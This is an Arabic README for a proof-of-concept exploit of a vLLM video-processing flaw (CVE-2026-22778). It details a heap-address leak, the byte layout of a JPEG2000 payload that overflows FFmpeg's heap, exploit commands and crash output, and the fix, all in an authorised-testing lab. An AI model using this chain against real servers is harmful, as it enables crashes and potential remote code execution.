إثبات مفهوم لاستغلال CVE-2026-22778، وهو ثغرة تنفيذ تعليمات برمجية عن بُعد (RCE) غير مصادق عليها في معالجة الفيديو في vLLM، مع عرض كشف عنوان الكومة (heap) وتجاوز سعة المخزن المؤقت للكومة في مفكك ترميز JPEG2000 الخاص بـ FFmpeg. يتضمن مختبرًا قابلًا للاستغلال للاختبار المصرح به.
| CVE | CVE-2026-22778 |
| الاستشارة الأمنية | GHSA-4r2x-xpjr-7cvv |
| الإصدارات المتأثرة | vLLM >= 0.8.3, < 0.14.1 (النشرات التي تخدم نماذج الفيديو) |
| تم الإصلاح في | vLLM 0.14.1 |
| CVSS | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| الخلل الأساسي | CVE-2025-9951 — تجاوز سعة المخزن المؤقت في الكومة في مفكك ترميز JPEG2000 الخاص بـ FFmpeg |
خللان منفصلان مرتبطان معًا. خدمة vllm serve الافتراضية لا تحتوي على
مصادقة، لذا يمكن الوصول إلى كليهما قبل المصادقة عبر /v1/chat/completions و
/v1/invocations.
عندما تفشل معالجة صورة، يرفع Pillow استثناءً تتضمن رسالته
repr() لكائن BytesIO الذي كان يقرأ منه:
cannot identify image file <_io.BytesIO object at 0x7f4a9c2e1d50>
حوّل vLLM فشل تحميل الوسائط إلى HTTP 400 وأعاد
exc.detail إلى العميل دون أي تعديل
(api_server.py):
async def http_exception_handler(_: Request, exc: HTTPException):
err = ErrorResponse(
error=ErrorInfo(
message=exc.detail, # <-- يكشف العنوان حرفيًا
...
هذا العنوان الواحد يقلص ASLR الخاص بالكومة من حوالي 32 بتًا من العشوائية إلى حوالي 3، وهذا ما يجعل المرحلة 2 قابلة للاستغلال بدلاً من كونها مجرد انهيار.
يتم جلب video_url بواسطة الخادم وتسليمه إلى OpenCV:
MediaConnector.load_from_url() vllm/multimodal/utils.py
-> OpenCVVideoBackend.load_bytes() vllm/multimodal/video.py
-> cv2.VideoCapture(BytesIO(data), backend, [])
-> FFmpeg 5.1.x (مضمّن في opencv-python-headless < 4.13)
ثبّت vLLM إصدار opencv-python-headless >= 4.11.0، الذي يشحن FFmpeg 5.1.x. يختار
مفكك ترميز JPEG2000 الخاص به مستوى الوجهة مباشرة من صندوق تعريف القنوات
(cdef) في الملف — libavcodec/jpeg2000dec.c, write_frame_8:
if (planar)
plane = s->cdef[compno] ? s->cdef[compno]-1 : (s->ncomponents-1);
...
int w = tile->comp[compno].coord[0][1] - ...; /* من المكوّن */
int h = tile->comp[compno].coord[1][1] - ...; /* ليس من المستوى! */
plane يتحكم فيه المهاجم لكن w/h تأتي من المكوّن الذي يتم
فك ترميزه، ولا يوجد أي فحص يتحقق من أن أحدهما يناسب الآخر. إدخال cdef بقيمة
cn=0, asoc=2 يرسل المكوّن 0 — مستوى الإضاءة (luma) بدقة كاملة — إلى
المستوى 1، مستوى الصفاء اللوني (chroma) بعينات مخفضة 2×2.
لإطار 150×64 الذي يستخدمه إثبات المفهوم هذا:
| الحجم | |
|---|---|
| مكوّن Y (المكتوب) | 150 × 64 = 9,600 بايت |
| مستوى U (الوجهة) | 75 × 32 = 2,400 بايت |
| التجاوز | 7,200 بايت بعد نهاية التخصيص |
يخصص FFmpeg كل مستوى كـ AVBuffer مستقل خاص به، لذا يمر التجاوز
عبر كتل الكومة المجاورة — بما في ذلك بنى AVBuffer التي تحمل مؤشر دالة
free. وبالاقتران مع تسريب المرحلة 1، فإن استبدال ذلك
المؤشر هو ما يحوّل الفساد إلى تنفيذ تعليمات برمجية.
يتوقف إثبات المفهوم هذا عند فساد الذاكرة. فهو يثبت الكتابة خارج الحدود بقتل عملية الخادم. إعداد الكومة واستبدال مؤشر الدالة لم يتم تنفيذهما عمدًا.
lab/app.py هو إعادة تنفيذ مصغّرة لمسار استيعاب الوسائط المتعددة في
vLLM 0.13.0 — MediaConnector, ImageMediaIO, OpenCVVideoBackend ومعالج
الأخطاء قبل التصحيح، كل منها مُعلَّق بالملف العلوي الذي يحاكيه. بيئة تشغيل
النموذج معطّلة: الثغرة تقع بالكامل في استيعاب الوسائط،
الذي يعمل قبل الاستدلال ولا يحتاج إلى GPU أو أوزان نموذج.
كل شيء في مسار الهجوم حقيقي — نفس استدعاء Pillow الذي
يكشف العنوان، ونفس استدعاء cv2.VideoCapture إلى
opencv-python-headless==4.11.0.86 غير المُصحَّح (FFmpeg 5.1.x, libavcodec 59.37.100).
docker compose up -d --build
python3 exploit.py
الخيارات:
python3 exploit.py --target http://localhost:8000
python3 exploit.py --serve # تسليم الحمولة عبر HTTP
python3 exploit.py --write-payload evil.jp2 # كتابة الملف الخبيث فقط
الاستغلال يعتمد على المكتبة القياسية فقط — بدون تبعيات.
[*] المرحلة 1 -- كشف عنوان الكومة عبر رسالة خطأ PIL
HTTP 400
cannot identify image file <_io.BytesIO object at 0xffff8f555300>
[+] عنوان الكومة المسرَّب: 0xffff8f555300
تم تجاوز ASLR: قاعدة الكومة معروفة الآن بحوالي 3 بتات من العشوائية.
[*] المرحلة 2 -- تجاوز سعة المخزن المؤقت في الكومة في مفكك ترميز JPEG2000
الهدف حي: boot_id=95b62f18-13c0-4d6d-97d3-1b029207dc01 pid=1
الحمولة: 203 بايت، 150x64 yuv420p JP2
cdef يربط المكوّن 0 -> المستوى 1: يكتب 9600 بايت في مستوى 2400 بايت (تجاوز 7200 بايت)
الطلب لم يكتمل أبدًا: الطرف البعيد أغلق الاتصال دون استجابة
فحص /health لمعرفة ما حدث للعامل...
[+] تم قتل العامل وإعادة تشغيله: boot_id 95b62f18-... -> 4494d28c-...
[+] تم تأكيد الكتابة خارج الحدود.
ومن جانب الخادم:
$ docker compose logs vllm
cve-2026-22778-lab | INFO: POST /v1/chat/completions HTTP/1.1" 400 Bad Request
cve-2026-22778-lab | corrupted size vs. prev_size
cve-2026-22778-lab | INFO: Started server process [1]
التنظيف:
docker compose down
203 بايت، مبنية من الصفر في build_payload(). حاوية JP2 تحتوي على
تدفق رموز JPEG2000 أدنى يصرّح بثلاثة مكوّنات بعينات مخفضة 4:2:0
(حتى يخصص FFmpeg إطار yuv420p)، بالإضافة إلى صندوق cdef يعيد
ربطها:
cn=0, typ=0, asoc=2 <-- المكوّن 0 (دقة كاملة) إلى المستوى 1 (عينات مخفضة)
cn=1, typ=0, asoc=2
cn=2, typ=0, asoc=3
بيانات المعاملات فارغة. لا يزال مفكك الترميز يخصص الإطار من
ترويسة SIZ ولا يزال يشغّل حلقة الكتابة، لذا لا حاجة لبيانات صورة حقيقية.
vLLM 0.14.1، عبر ثلاثة طلبات سحب:
يرفض FFmpeg العلوي الآن خريطة cdef التي ليست تبديلًا للقنوات،
ويستمد تنسيق البكسل من المؤشرات المعاد تعيينها:
int cdef_used = 0;
for (i = 0; i < s->ncomponents; i++)
cdef_used |= 1<<s->cdef[i];
if (cdef_used != ((int[]){0,2,3,14,15})[s->ncomponents])
return AVERROR_INVALIDDATA;
استبدال تثبيت المختبر بـ opencv-python-headless>=4.13.0 يجعل نفس
الحمولة تفشل دون ضرر مع error during processing marker segment ff51.
إذا لم تتمكن من الترقية: لا تخدم نماذج الفيديو، ضع مصادقة أمام
الواجهة البرمجية، وقيّد جلب الوسائط باستخدام --allowed-media-domains.
docker compose يبني لمعمارية arm64 الأصلية
(الافتراضية). فرض --platform linux/amd64 يشغّل
الحاوية تحت المحاكاة، حيث تعلق العملية المتوقفة بدلاً من
الخروج ويكون الانهيار أصعب في الملاحظة.لأغراض التعليم واختبار الأمان المصرح به فقط. شغّله ضد المختبر في هذا المستودع أو ضد أنظمة لديك إذن صريح لاختبارها.